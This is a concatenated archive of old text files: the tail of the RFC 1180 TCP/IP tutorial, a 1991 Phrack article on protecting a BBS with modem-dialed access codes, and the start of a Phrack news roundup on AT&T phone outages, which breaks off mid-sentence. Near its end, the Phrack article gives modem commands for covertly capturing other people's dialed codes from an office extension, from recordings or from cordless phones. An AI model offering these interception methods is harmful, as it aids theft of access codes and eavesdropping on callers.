   forward the IP packet to the next IP network.  This communication is
   called "indirect".

   This routing of IP packets is done by IP modules and happens
   transparently to TCP, UDP, and the network applications.

   If A sends an IP packet to E, the source IP address and the source
   Ethernet address are A's.  The destination IP address is E's, but
   because A's IP module sends the IP packet to D for forwarding, the
   destination Ethernet address is D's.

                ----------------------------------------
                |address            source  destination|
                ----------------------------------------
                |IP header          A       E          |
                |Ethernet header    A       D          |
                ----------------------------------------
       TABLE 6.  Addresses in an Ethernet frame for an IP packet
                         from A to E (before D)

   D's IP module receives the IP packet and upon examining the
   destination IP address, says "This is not my IP address," and sends
   the IP packet directly to E.

                ----------------------------------------
                |address            source  destination|
                ----------------------------------------
                |IP header          A       E          |
                |Ethernet header    D       E          |
                ----------------------------------------
       TABLE 7.  Addresses in an Ethernet frame for an IP packet
                         from A to E (after D)

   In summary, for direct communication, both the source IP address and
   the source Ethernet address is the sender's, and the destination IP
   address and the destination Ethernet addrss is the recipient's.  For
   indirect communication, the IP address and Ethernet addresses do not
   pair up in this way.

   This example internet is a very simple one.  Real networks are often
   complicated by many factors, resulting in multiple IP-routers and
   several types of physical networks.  This example internet might have
   come about because the network manager wanted to split a large
   Ethernet in order to localize Ethernet broadcast traffic.

5.3  IP Module Routing Rules

   This overview of routing has shown what happens, but not how it
   happens.  Now let's examine the rules, or algorithm, used by the IP
   module.

     For an outgoing IP packet, entering IP from an upper layer, IP must
     decide whether to send the IP packet directly or indirectly, and IP
     must choose a lower network interface.  These choices are made by
     consulting the route table.

     For an incoming IP packet, entering IP from a lower interface, IP
     must decide whether to forward the IP packet or pass it to an upper
     layer.  If the IP packet is being forwarded, it is treated as an
     outgoing IP packet.

     When an incoming IP packet arrives it is never forwarded back out
     through the same network interface.

   These decisions are made before the IP packet is handed to the lower
   interface and before the ARP table is consulted.

5.4  IP Address

   The network manager assigns IP addresses to computers according to
   the IP network to which the computer is attached.  One part of a 4-
   byte IP address is the IP network number, the other part is the IP
   computer number (or host number).  For the computer in table 1, with
   an IP address of 223.1.2.1, the network number is 223.1.2 and the
   host number is number 1.

   The portion of the address that is used for network number and for
   host number is defined by the upper bits in the 4-byte address.  All
   example IP addresses in this tutorial are of type class C, meaning
   that the upper 3 bits indicate that 21 bits are the network number
   and 8 bits are the host number.  This allows 2,097,152 class C
   networks up to 254 hosts on each network.

   The IP address space is administered by the NIC (Network Information
   Center).  All internets that are connected to the single world-wide
   Internet must use network numbers assigned by the NIC.  If you are
   setting up your own internet and you are not intending to connect it
   to the Internet, you should still obtain your network numbers from
   the NIC.  If you pick your own number, you run the risk of confusion
   and chaos in the eventuality that your internet is connected to
   another internet.

5.5  Names

   People refer to computers by names, not numbers.  A computer called
   alpha might have the IP address of 223.1.2.1.  For small networks,
   this name-to-address translation data is often kept on each computer
   in the "hosts" file.  For larger networks, this translation data file
   is stored on a server and accessed across the network when needed.  A
   few lines from that file might look like this:

   223.1.2.1     alpha
   223.1.2.2     beta
   223.1.2.3     gamma
   223.1.2.4     delta
   223.1.3.2     epsilon
   223.1.4.2     iota

   The IP address is the first column and the computer name is the
   second column.

   In most cases, you can install identical "hosts" files on all
   computers.  You may notice that "delta" has only one entry in this
   file even though it has 3 IP addresses.  Delta can be reached with
   any of its IP addresses; it does not matter which one is used.  When
   delta receives an IP packet and looks at the destination address, it
   will recognize any of its own IP addresses.

   IP networks are also given names.  If you have 3 IP networks, your
   "networks" file for documenting these names might look something like
   this:

   223.1.2     development
   223.1.3     accounting
   223.1.4     factory

   The IP network number is in the first column and its name is in the
   second column.

   From this example you can see that alpha is computer number 1 on the
   development network, beta is computer number 2 on the development
   network and so on.  You might also say that alpha is development.1,
   Beta is development.2, and so on.

   The above hosts file is adequate for the users, but the network
   manager will probably replace the line for delta with:

   223.1.2.4     devnetrouter    delta
   223.1.3.1     facnetrouter
   223.1.4.1     accnetrouter

   These three new lines for the hosts file give each of delta's IP
   addresses a meaningful name.  In fact, the first IP address listed
   has 2 names; "delta" and "devnetrouter" are synonyms.  In practice
   "delta" is the general-purpose name of the computer and the other 3
   names are only used when administering the IP route table.

   These files are used by network administration commands and network
   applications to provide meaningful names.  They are not required for
   operation of an internet, but they do make it easier for us.

5.6  IP Route Table

   How does IP know which lower network interface to use when sending
   out a IP packet?  IP looks it up in the route table using a search
   key of the IP network number extracted from the IP destination
   address.

   The route table contains one row for each route.  The primary columns
   in the route table are:  IP network number, direct/indirect flag,
   router IP address, and interface number.  This table is referred to
   by IP for each outgoing IP packet.

   On most computers the route table can be modified with the "route"
   command.  The content of the route table is defined by the network
   manager, because the network manager assigns the IP addresses to the
   computers.

5.7  Direct Routing Details

   To explain how it is used, let us visit in detail the routing
   situations we have reviewed previously.

                        ---------        ---------
                        | alpha |         | beta  |
                        |    1  |         |  1    |
                        ---------         ---------
                             |               |
                     --------o---------------o-
                      Ethernet 1
                      IP network "development"

               Figure 8.  Close-up View of One IP Network

   The route table inside alpha looks like this:

     --------------------------------------------------------------
     |network      direct/indirect flag  router   interface number|
     --------------------------------------------------------------
     |development  direct                <blank>  1               |
     --------------------------------------------------------------
                  TABLE 8.  Example Simple Route Table

   This view can be seen on some UNIX systems with the "netstat -r"
   command.  With this simple network, all computers have identical
   routing tables.

   For discussion, the table is printed again without the network number
   translated to its network name.

     --------------------------------------------------------------
     |network      direct/indirect flag  router   interface number|
     --------------------------------------------------------------
     |223.1.2      direct                <blank>  1               |
     --------------------------------------------------------------
           TABLE 9.  Example Simple Route Table with Numbers

5.8  Direct Scenario

   Alpha is sending an IP packet to beta.  The IP packet is in alpha's
   IP module and the destination IP address is beta or 223.1.2.2.  IP
   extracts the network portion of this IP address and scans the first
   column of the table looking for a match.  With this network a match
   is found on the first entry.

   The other information in this entry indicates that computers on this
   network can be reached directly through interface number 1.  An ARP
   table translation is done on beta's IP address then the Ethernet
   frame is sent directly to beta via interface number 1.

   If an application tries to send data to an IP address that is not on
   the development network, IP will be unable to find a match in the
   route table.  IP then discards the IP packet.  Some computers provide
   a "Network not reachable" error message.

5.9  Indirect Routing Details

   Now, let's take a closer look at the more complicated routing
   scenario that we examined previously.

          ---------           ---------           ---------
          | alpha |           | delta |           |epsilon|
          |    1  |           |1  2  3|           |   1   |
          ---------           ---------           ---------
               |               |  |  |                |
       --------o---------------o- | -o----------------o--------
        Ethernet 1                |     Ethernet 2
        IP network "Development"  |     IP network "accounting"
                                  |
                                  |     --------
                                  |     | iota |
                                  |     |  1   |
                                  |     --------
                                  |        |
                                --o--------o--------
                                    Ethernet 3
                                    IP network "factory"

             Figure 9.  Close-up View of Three IP Networks

   The route table inside alpha looks like this:

 ---------------------------------------------------------------------
 |network      direct/indirect flag  router          interface number|
 ---------------------------------------------------------------------
 |development  direct                <blank>         1               |
 |accounting   indirect              devnetrouter    1               |
 |factory      indirect              devnetrouter    1               |
 --------------------------------------------------------------------
                      TABLE 10.  Alpha Route Table

   For discussion the table is printed again using numbers instead of
   names.

  --------------------------------------------------------------------
  |network      direct/indirect flag  router         interface number|
  --------------------------------------------------------------------
  |223.1.2      direct                <blank>        1               |
  |223.1.3      indirect              223.1.2.4      1               |
  |223.1.4      indirect              223.1.2.4      1               |
  --------------------------------------------------------------------
               TABLE 11.  Alpha Route Table with Numbers

   The router in Alpha's route table is the IP address of delta's
   connection to the development network.

5.10  Indirect Scenario

   Alpha is sending an IP packet to epsilon.  The IP packet is in
   alpha's IP module and the destination IP address is epsilon
   (223.1.3.2).  IP extracts th network portion of this IP address
   (223.1.3) and scans the first column of the table looking for a
   match.  A match is found on the second entry.

   This entry indicates that computers on the 223.1.3 network can be
   reached through the IP-router devnetrouter.  Alpha's IP module then
   does an ARP table translation for devnetrouter's IP address and sends
   the IP packet directly to devnetrouter through Alpha's interface
   number 1.  The IP packet still contains the destination address of
   epsilon.

   The IP packet arrives at delta's development network interface and is
   passed up to delta's IP module.  The destination IP address is
   examined and because it does not match any of delta's own IP
   addresses, delta decides to forward the IP packet.

   Delta's IP module extracts the network portion of the destination IP
   address (223.1.3) and scans its route table for a matching network
   field.  Delta's route table looks like this:

 ----------------------------------------------------------------------
 |network      direct/indirect flag  router           interface number|
 ----------------------------------------------------------------------
 |development  direct                <blank>          1               |
 |factory      direct                <blank>          3               |
 |accounting   direct                <blank>          2               |
 ----------------------------------------------------------------------
                     TABLE 12.  Delta's Route Table

   Below is delta's table printed again, without the translation to
   names.

 ----------------------------------------------------------------------
 |network      direct/indirect flag  router           interface number|
 ----------------------------------------------------------------------
 |223.1.2      direct                <blank>          1               |
 |223.1.3      direct                <blank>          3               |
 |223.1.4      direct                <blank>          2               |
 ----------------------------------------------------------------------
              TABLE 13.  Delta's Route Table with Numbers

   The match is found on the second entry.  IP then sends the IP packet
   directly to epsilon through interface number 3.  The IP packet
   contains the IP destination address of epsilon and the Ethernet
   destination address of epsilon.

   The IP packet arrives at epsilon and is passed up to epsilon's IP
   module.  The destination IP address is examined and found to match
   with epsilon's IP address, so the IP packet is passed to the upper
   protocol layer.

5.11  Routing Summary

   When a IP packet travels through a large internet it may go through
   many IP-routers before it reaches its destination.  The path it takes
   is not determined by a central source but is a result of consulting
   each of the routing tables used in the journey.  Each computer
   defines only the next hop in the journey and relies on that computer
   to send the IP packet on its way.

5.12  Managing the Routes

   Maintaining correct routing tables on all computers in a large
   internet is a difficult task; network configuration is being modified
   constantly by the network managers to meet changing needs.  Mistakes
   in routing tables can block communication in ways that are
   excruciatingly tedious to diagnose.

   Keeping a simple network configuration goes a long way towards making
   a reliable internet.  For instance, the most straightforward method
   of assigning IP networks to Ethernet is to assign a single IP network
   number to each Ethernet.

   Help is also available from certain protocols and network
   applications.  ICMP (Internet Control Message Protocol) can report
   some routing problems.  For small networks the route table is filled
   manually on each computer by the network administrator.  For larger
   networks the network administrator automates this manual operation
   with a routing protocol to distribute routes throughout a network.

   When a computer is moved from one IP network to another, its IP
   address must change.  When a computer is removed from an IP network
   its old address becomes invalid.  These changes require frequent
   updates to the "hosts" file.  This flat file can become difficult to
   maintain for even medium-size networks.  The Domain Name System helps
   solve these problems.

6.  User Datagram Protocol

   UDP is one of the two main protocols to reside on top of IP.  It
   offers service to the user's network applications.  Example network
   applications that use UDP are:  Network File System (NFS) and Simple
   Network Management Protocol (SNMP).  The service is little more than
   an interface to IP.

   UDP is a connectionless datagram delivery service that does not
   guarantee delivery.  UDP does not maintain an end-to-end connection
   with the remote UDP module; it merely pushes the datagram out on the
   net and accepts incoming datagrams off the net.

   UDP adds two values to what is provided by IP.  One is the
   multiplexing of information between applications based on port
   number.  The other is a checksum to check the integrity of the data.

6.1  Ports

   How does a client on one computer reach the server on another?

   The path of communication between an application and UDP is through
   UDP ports.  These ports are numbered, beginning with zero.  An
   application that is offering service (the server) waits for messages
   to come in on a specific port dedicated to that service.  The server
   waits patiently for any client to request service.

   For instance, the SNMP server, called an SNMP agent, always waits on
   port 161.  There can be only one SNMP agent per computer because
   there is only one UDP port number 161.  This port number is well
   known; it is a fixed number, an internet assigned number.  If an SNMP
   client wants service, it sends its request to port number 161 of UDP
   on the destination computer.

   When an application sends data out through UDP it arrives at the far
   end as a single unit.  For example, if an application does 5 writes
   to the UDP port, the application at the far end will do 5 reads from
   the UDP port.  Also, the size of each write matches the size of each
   read.

   UDP preserves the message boundary defined by the application.  It
   never joins two application messages together, or divides a single
   application message into parts.

6.2  Checksum

   An incoming IP packet with an IP header type field indicating "UDP"
   is passed up to the UDP module by IP.  When the UDP module receives
   the UDP datagram from IP it examines the UDP checksum.  If the
   checksum is zero, it means that checksum was not calculated by the
   sender and can be ignored.  Thus the sending computer's UDP module
   may or may not generate checksums.  If Ethernet is the only network
   between the 2 UDP modules communicating, then you may not need
   checksumming.  However, it is recommended that checksum generation
   always be enabled because at some point in the future a route table
   change may send the data across less reliable media.

   If the checksum is valid (or zero), the destination port number is
   examined and if an application is bound to that port, an application
   message is queued for the application to read.  Otherwise the UDP
   datagram is discarded.  If the incoming UDP datagrams arrive faster
   than the application can read them and if the queue fills to a
   maximum value, UDP datagrams are discarded by UDP.  UDP will continue
   to discard UDP datagrams until there is space in the queue.

7.  Transmission Control Protocol

   TCP provides a different service than UDP.  TCP offers a connection-
   oriented byte stream, instead of a connectionless datagram delivery
   service.  TCP guarantees delivery, whereas UDP does not.

   TCP is used by network applications that require guaranteed delivery
   and cannot be bothered with doing time-outs and retransmissions.  The
   two most typical network applications that use TCP are File Transfer
   Protocol (FTP) and the TELNET.  Other popular TCP network
   applications include X-Window System, rcp (remote copy), and the r-
   series commands.  TCP's greater capability is not without cost: it
   requires more CPU and network bandwidth.  The internals of the TCP
   module are much more complicated than those in a UDP module.

   Similar to UDP, network applications connect to TCP ports.  Well-
   defined port numbers are dedicated to specific applications.  For
   instance, the TELNET server uses port number 23.  The TELNET client
   can find the server simply by connecting to port 23 of TCP on the
   specified computer.

   When the application first starts using TCP, the TCP module on the
   client's computer and the TCP module on the server's computer start
   communicating with each other.  These two end-point TCP modules
   contain state information that defines a virtual circuit.  This
   virtual circuit consumes resources in both TCP end-points.  The
   virtual circuit is full duplex; data can go in both directions
   simultaneously.  The application writes data to the TCP port, the
   data traverses the network and is read by the application at the far
   end.

   As with all sliding window protocols, the protocol has a window size.
   The window size determines the amount of data that can be transmitted
   before an acknowledgement is required.  For TCP, this amount is not a
   number of TCP segments but a number of bytes.

8.  Network Appliations

   Why do both TCP and UDP exist, instead of just one or the other?

   They supply different services.  Most applications are implemented to
   use only one or the other.  You, the programmer, choose the protocol
   that best meets your needs.  If you need a reliable stream delivery
   service, TCP might be best.  If you need a datagram service, UDP
   might be best.  If you need efficiency over long-haul circuits, TCP
   might be best.  If you need efficiency over fast networks with short
   latency, UDP might be best.  If your needs do not fall nicely into
   these categories, then the "best" choice is unclear.  However,
   applications can make up for deficiencies in the choice.  For
   instance if you choose UDP and you need reliability, then the
   application must provide reliability.  If you choose TCP and you need
   a record oriented service, then the application must insert markers
   in the byte stream to delimit records.

   What network aplications are available?

   There are far too many to list.  The number is growing continually.
   Some of the applications have existed since the beginning of internet
   technology: TELNET and FTP.  Others are relatively new: X-Windows and
   SNMP.  The following is a brief description of the applications
   mentioned in this tutorial.

8.1  TELNET

   TELNET provides a remote login capability on TCP.  The operation and
   appearance is similar to keyboard dialing through a telephone switch.
   On the command line the user types "telnet delta" and receives a
   login prompt from the computer called "delta".

   TELNET works well; it is an old application and has widespread
   interoperability.  Implementations of TELNET usually work between
   different operating systems.  For instance, a TELNET client may be on
   VAX/VMS and the server on UNIX System V.

8.2  FTP

   File Transfer Protocol (FTP), as old as TELNET, also uses TCP and has
   widespread interoperability.  The operation and appearance is as if
   you TELNETed to the remote computer.  But instead of typing your
   usual commands, you have to make do with a short list of commands for
   directory listings and the like.  FTP commands allow you to copy
   files between computers.

8.3  rsh

   Remote shell (rsh or remsh) is one of an entire family of remote UNIX
   style commands.  The UNIX copy command, cp, becomes rcp.  The UNIX
   "who is logged in" command, who, becomes rwho.  The list continues
   and is referred to collectively to as the "r" series commands or the
   "r*" (r star) commands.

   The r* commands mainly work between UNIX systems and are designed for
   interaction between trusted hosts.  Little consideration is given to
   security, but they provide a convenient user environment.

   To execute the "cc file.c" command on a remote computer called delta,
   type "rsh delta cc file.c".  To copy the "file.c" file to delta, type
   "rcp file.c delta:".  To login to delta, type "rlogin delta", and if
   you administered the computers in a certain wa, you will not be
   challenged with a password prompt.

8.4  NFS

   Network File System, first developed by Sun Microsystems Inc, uses
   UDP and is excellent for mounting UNIX file systems on multiple
   computers.  A diskless workstation can access its server's hard disk
   as if the disk were local to the workstation.  A single disk copy of
   a database on mainframe "alpha" can also be used by mainframe "beta"
   if the database's file system is NFS mounted commands to
   use the NFS mounted disk as if it were local disk.

8.5  SNMP

   Simple Network Management Protocol (SNMP) uses UDP and is designed
   for use by central network management stations.  It is a well known
   fact that if given enough data, a network manager can detect and
   diagnose network problems.  The central station uses SNMP to collect
   this data from other computers on the network.  SNMP defines the
   format for the data; it is left to the central station or network
   manager to interpret the data.

8.6  X-Window

   The X Window System uses the X Window protocol on TCP to draw windows
   on a workstation's bitmap display.  X Window is much more than a
   utility for drawing windows; it is entire philosophy for designing a
   user interface.

9.  Other Information

   Much information about internet technology was not included in this
   tutorial.  This section lists information that is considered the next
   level of detail for the reader who wishes to learn more.

     o administration commands: arp, route, and netstat
     o ARP: permanent entry, publish entry, time-out entry, spoofing
     o IP route table: host entry, default gateway, subnets
     o IP: time-to-live counter, fragmentation, ICMP
     o RIP, routing loops
     o Domain Name System

10.  References

   [1] Comer, D., "Internetworking with TCP/IP Principles, Protocols,
       and Architecture", Prentice Hall, Englewood Cliffs, New Jersey,
       U.S.A., 1988.

   [2] Feinler, E., et al, DDN Protocol Handbook, Volume 2 and 3, DDN
       Network Information Center, SRI International, 333 Ravenswood
       Avenue, Room EJ291, Menlow Park, California, U.S.A., 1985.

   [3] Spider Systems, Ltd., "Packets and Protocols", Spider Systems
       Ltd., Stanwell Street, Edinburgh, U.K. EH6 5NG, 1990.

11.  Relation to other RFCs

   This RFC is a tutorial and it does not UPDATE or OBSOLETE any other
   RFC.

12.  Security Considerations

   There are security considerations within the TCP/IP protocol suite.
   To some people these considerations are serious problems, to others
   they are not; it depends on the user requirements.
   This tutorial does not discuss these issues, but if you want to learn
   more you should start with the topic of ARP-spoofing, then use the
   "Security Considerations" section of RFC 1122 to lead you to more
   information.

13.  Authors' Addresses

   Theodore John Socolofsky
   EMail: [email protected]

   Claudia Jeanne Kale
   EMail: [email protected]

   Note:  This info taken from RFC-1180.
_______________________________________________________________________________


--------------------------------------------------------------------------------


                                ==Phrack Inc.==

                Volume Three, Issue Thirty-four, File #9 of 11

              ._._._._._._._._._._._._._._._._._._._._._._._._.
              !                                               !
              !      Advanced Modem-Oriented BBS Security     !
              !                                               !
              !          By Laughing Gas and Dead Cow         !
              !                                               !
              !     Written Exclusively for PHRACK 8/22/91    !
              !_._._._._._._._._._._._._._._._._._._._._._._._!


* Introduction =-= Things you need to know *

This is an introduction and guide to setting up your BBS and modem so that a
caller must know a certain code and append it to his dialing string in order to
access the BBS.  This lets you have yet another way (besides newuser passwords,
etc) to lock out unwanted callers.

You can also set a certain pattern for your board's numerical code based on the
day or the month or something, and distribute this pattern instead of having to
distribute the access code.
You must have an intelligent modem to be able to run a board which requires the
access method I'm going to be discussing in this file.  However you don't need
an intelligent modem to be able to call the same board, but you do have to
enter the code manually if you do not have an intelligent modem.  (So only
certain people can run a board with this method of access control, but >almost<
anyone can call one.)

All modem commands in this manual will be hayes 'AT' style commands, and some
may be available only to USRobotics Courier modems with v.42bis, or certain
other intelligent modems.  If you can't get it to work with your modem, your
modem may not be able to do it, but try looking in your modem manual, just in
case.

NOTE: The ONLY modem that this method has been tested with is a USRobotics
Courier HST modem, (the new kind) with the v.42bis.  I tested it with my modem
which is an older HST (14.4, but no v.42bis) and it did NOT accept the AT%T
command (it returned "ERROR"). Check page 83 of your HST manual for more info,
or type AT%$ for on-line help from the modem firmware. (about as helpful as the
manual, and neither are very detailed.)

Things to know:
        ATDT1234567;    This command causes your modem to dial 1234567 and
                       then return to command mode.
        [email protected];  This command causes your modem to dial 1234567, wait for
                        an answer, dial 1 and return to command mode.
|-----> AT%T            This command causes every tone that goes into the modem
|                       to be identified and followed with a 0.
|
|---------------------- This is the key to the whole enchilada.

Alternate commands may be available depending on your modem type.

* Concept =-= How-To

The concept for the bbs access code would be as follows.

The caller dials the number to the BBS, when the BBS picks up, it sends a
digit, then the caller sends a responding set of digits.  If the digits which
the caller sends match the access code for the BBS, the BBS will send an answer
tone and the caller's modem will acknowledge and connection.

How it works is like this:
 (Sample Transcript)

CALLER> [email protected]
   BBS> RING
   BBS> ATDT1;
   BBS> OK
   BBS> AT%T
   BBS> 203040
   BBS> ATA

What happens is the caller dials 1234567 (the number of the BBS) the '@' tells
the callers modem to wait for a result (which is received when the BBS gets a
ring and sends a 1) then the callers modem dials 234 (the access code) after

the BBS sent the '1' it got a OK so it sent a AT%T which told it to monitor
tones.  This command returned "203040" which is 234 followed by 0's (the format
of the output of AT%T) the BBS software would have to watch for this string.
Since 234 was the right code, the board sent an ATA which would connect the
caller since it's dial command was still open.  If 234 hadn't been the code,
then the BBS would have sent a ATH0.

* Manual Dialing =-= Lame modems *

Anyway, if you don't have a modem that does the AT%T or ATDT1; commands you
CANNOT run a BBS with this type of security, unless your modem has EQUIVALENT
commands, or you can figure out a way to do it with the commands your modem
has.  The toughest part is the reading of tones, which, as far as I know, is
unique to the HST/Courier modems.

However, if your modem does not do the [email protected] thing, then you can PROBABLY
still call a board using this security.  This is assuming you can just send a
"dial command" to your modem without a number (ie ATD on an HST.)  What you do
is dial the BBS number manually, then you'll here a beep, you dial the code,
then send the dial command to your modem and put the phone down.  This should
connect you in the same fashion.. (ie..)

CALLER> manually dials BBS
   BBS> ATDT1;
CALLER> hears beep and dials 234, then sends ATD to his modem and puts the
        phone down.
   BBS> OK
   BBS> AT%T
   BBS> 203040
   BBS> ATA
CALLER> his modem connects.

* Bells and Whistles =-= Wrapping It Up *

Your options when using this type of security.  There are many different things
you can do.

Method #1: You can say "Hey, the access code for my board is 234" and give
that to the people you want to call.

Method #2: Set a pattern for your access codes.  Say, the date (ie, for today,
8-22-91 the code would be 082291), or you could get more complex (add one to
each digit, run it through an algorithm, etc)

Method #3: Distribute a program that generates the code based on the day, the
month, what have you.  (However this is only a solution if you can either
distribute a program like this to EVERY type of operating system, or you only
want callers from one operating system (or several, the only ones you can
produce it for..)

Method #4: Have the BBS accept several codes, and give out  different code to
each class of users (say, newusers to apply = 1234, validated = 2345, elite =
3456) or something like that, this would allow for control of who calls when,
as well as logging of call class frequency, etc.

Method #5: Have a specific code for each user.  This would take a lot of
maintenance, but would provide for a VERY secure BBS environment.  This would
allow the same advantages above as well (logging, freq. etc).

Things to keep in mind however are if you have an access code generated by a
program or by the date, etc. you have to change the code whenever the program
would.

An interesting side note here is that the AT%T command can be used to call a
COCOT (private payfone) and record the tones, or possibly to record codes other
people entered, etc.  (Ie, bring your laptop with modem to a office, attach
it to an extension and wait for a person to pick up, issue the ATD; command
right away, then AT%T command.  If the person dials a 950, you should get
something like

        90500010003030 (pause) 203040506070

that is assuming the code is 234567.  Congratulations, you now have their code.
The modem can recognize the dtmf tones for 0-9, *, #, and the silver box tones
A, B, C, and E.  I'm sure other interesting uses for this feature can be
found, and I'd love to hear from the other people out there in the h/p world.
  I'm sure a lot of you have seen me around, for those that haven't I can be
reached on my board, Solsbury Hill or Ripco (312) or on Internet as
[email protected]

(Note: Spies is down as of this writing, I have some other accounts, but I'd
prefer that most of them remain unknown... if anyone wants to offer me an
account I can use just for mail where I can have my alias for the account
name, on a stable system, please contact me.)


* Non-BBS Oriented Stuff =-= Conclusion *

In some issue of 2600 magazine someplace at some time they published an article
on how to build a tone detection device: Now you have your own, built in to the
modem.

An example application of this "in the field" would be calling a COCOT and
using the modem to decipher the tones.  That would be done:

ATDT3014283268;                      ;call the COCOT
AT%T                                 ;get tones

it should respond with the decoded tones.

You could fool around with it and get it to accept input from a tape recorder,
this gives you a way to decipher recorded VMB passcodes, or phone numbers, or
anything else that was recorded as it was dialed. Or use it with a radio
scanner set to scan the freqs that cordless fones operate on, and record those
tones. Then play 'em back into the modem and they're yours.

In conclusion... (ahem).. This is an area which I believe has never been
breached before, and this idea was brought to you by THUGS.  As long as
technology keeps advancing, we'll be here to bring you the latest tricks such
as this one.  Please contact me if you have any information about this area
(tone detection via modem, or anything relating to it at all..) especially if
you know of modems besides the v.42bis models of USRobotic's HSTs that can do
this.

Laughing Gas
Solsbury Hill BBS (301-428-3268)
_______________________________________________________________________________


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                               ==Phrack Inc.==

                Volume Three, Issue Thirty-Four, File #10 of 11

              PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
              PWN                                             PWN
              PWN              Phrack World News              PWN
              PWN                                             PWN
              PWN           Issue XXXIV / Part One            PWN
              PWN                                             PWN
              PWN            Compiled by Dispater             PWN
              PWN                                             PWN
              PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN


What We Have Got Here Today is Failure to Communicate
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Editors Comment: Dispater

     With hundreds, maybe thousands of lives at stake, three airports in New
York had to shut down due to a long distance carrier failing.  It is absolutely
amazing how irresponsible these services were to rely on only on form of
communication.  Where was the back up system?  This incident might not have
happened it they would have had an alternative carrier or something as simple
as two way radios.

     Many people are running around these days screaming about how
irresponsible AT&T was.  The real problem lyes with people in our society
failing to take the time to learn fundamental aspects of the common technology.

     It is also a shame that the people "in control" were incapable of using
something as simple as a "port" to dial through another extender.  This
is the kind of thing that happens when people choose to isolate themselves
from the technological society we have today.

     What follows is a compilation of several articles dealing with AT&T long
distance carrier failures.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Thank You for abUsing AT&T                                     October 18, 1991
~~~~~~~~~~~~~~~~~~~~~~~~~
by Kimberly Hayes Taylor and Steve Marshall (USA Today "Phone Failure Stalls
   Air Traffic Disruption in N.Y. Felt Nationwide")

     Air traffic in and out of New York City resumed late Tuesday after a
phone-service failure virtually shut down three airports for almost four
hours.  Hundreds of flights coast to coast were delayed or canceled when
controllers at John F. Kennedy, La Guardia and Newark (New Jersey) airports
lost the link that allows communication among themselves or with other U.S.
airports.  Communications between pilots and air-traffic controllers travel
over telephone lines to ground-based radio equipment.  AT&T spokesman Herb
Linnen blamed an internal power failure in a long-distance switching office
in Manhattan.  Hours after the 4:50 PM EDT failure, 40 planes loaded with
passengers were sitting on the runway at Kennedy, 35 at Newark, 30 at La
Guardia.  "During the height of the thing, at least 300 aircraft were delayed
at metropolitan airports," said Bob Fulton, a spokesperson for the Federal
Aviation Administration.  Included: flights taking off "from California to
Florida" and headed for New York, said FAA's Fred Farrar.  Farrar said planes
had to be grounded for safety.  Without telephone communication, they would
"fly willy-nilly."  Among diverted flights: a British Airways supersonic
Concorde from London, which landed at Bradley airport outside Hartford, Conn.
Passenger reaction:  at Washington's National Airport, Dominique Becoeur of
Paris was "reading, drinking, and thinking" while waiting for a flight to New
York.  At La Guardia, Ernie Baugh, of Chattanooga, Tenn., said, "I think I
will go and have another beer."  Flights were reported resuming by 9 p.m.
EDT.  Linnen said AT&T was busy Tuesday night restoring long-distance service
in and out of New York City, which had been interrupted.  Some international
service also had been affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

AT&T's Hang Ups                                                October 19, 1991
~~~~~~~~~~~~~~
By John Schneidawind (USA Today - "The Big Hang-Up Phone Crash Grounds
   Airplanes, Raises Anger")

     The Federal Administration Aviation has some good news for travelers who
were stranded at airports, or delayed for hours, the past two days by the New
York City telephone outage.  If a similar phone disaster strikes next month,
hardly any fliers will know the difference.  That's because AT&T is close to
completing installation of a network of microwave dishes that will
supplement, if not replace, the phone lines AT&T uses to relay calls between
air-traffic controllers in different cities.  Tuesday evening, flights in and
out of some of the nation's busiest airports - Kennedy, La Guardia, and
Newark, N.J. - were grounded because FAA controllers couldn't communicate
with one another.  For much of the 1980's, land-based fiber optic lines have
been slowly replacing microwave phone dishes phone companies long have used
to transmit telephone calls.  That's because fiber-optic wires were thought
to provide clearer calls than microwave technology.  Now, it's becoming
apparent that sending some or most telephone calls via wireless microwave
might ease the burden handled by fiber-optic cables.  In addition, a
microwave call could be transmitted point-to-point, bypassing an inoperative
switching center when a breakdown or catastrophe occurs.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Computer Maker Says Tiny Software Flaw Caused Phone Disruptions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Edmund L Andrews (New York Times)

     WASHINGTON -- A manufacturer of telephone call-routing computers
said that a defect in three or four lines of computer code, rather than a
hacker or a computer "virus," appeared to be the culprit behind a mysterious
spate of breakdowns that disrupted local telephone service for 10 million
customers around the country in late June and early this month.

     In congressional testimony Tuesday, an official of the manufacturer, DSC
Communications of Plano, Texas, said all the problems had been traced to recent
upgrades in its software, which had not been thoroughly tested for hidden
"bugs."
     Although the telephone companies that experienced failures were using
slightly different versions of the software, the company said, each version was
infected with the flaw.  "Our equipment was without question a major
contributor to the disruptions," Frank Perpiglia, DSC's vice president for
technology and product development, told the House telecommunications
subcommittee.  "We must be forthright in accepting responsibility for
failure."

       Officials at both DSC and the regional Bell companies said they could
not entirely rule out the possibility of sabotage, but said the evidence points
strongly to unintentional errors. The flaws caused the computers to send a
flood of erroneous messages when the computer encountered routine maintenance
problems.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

TELEPHONE TECHNOLOGY QUESTIONED AFTER FAILURES
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Edmund L. Andrew (New York Times)

     WASHINGTON -- Striking similarities between nearly simultaneous
computer malfunctions that disrupted local telephone service on the East Coast
and in Los Angeles on Wednesday have raised questions among communications
experts about the reliability of advanced networks that all the Bell telephone
companies are now installing.

     The problems experienced by both Pacific Bell and the Chesapeake and
Potomac Co., which serves Washington, Maryland, Virginia and parts of West
Virginia, involved computer programs on advanced call-routing equipment, which
uses the same new technology, one being adopted throughout the communications
industry.

     The problems, which were corrected in both areas by early evening on
Wednesday, made it impossible for about nine million telephone customers to
complete local telephone calls.

     Although the origins of both malfunctions remained unclear on Thursday,
the difficulties at the two companies bore a strong resemblance to a brief but
massive breakdown experienced by the American Telephone and Telegraph Co.'s
long-distance lines in January 1990.

     In all three cases, a problem at one switching center quickly corrupted
other switches and paralyzed much of the system. Perhaps the biggest fear,
federal regulators say, is that as telephone companies link their networks more
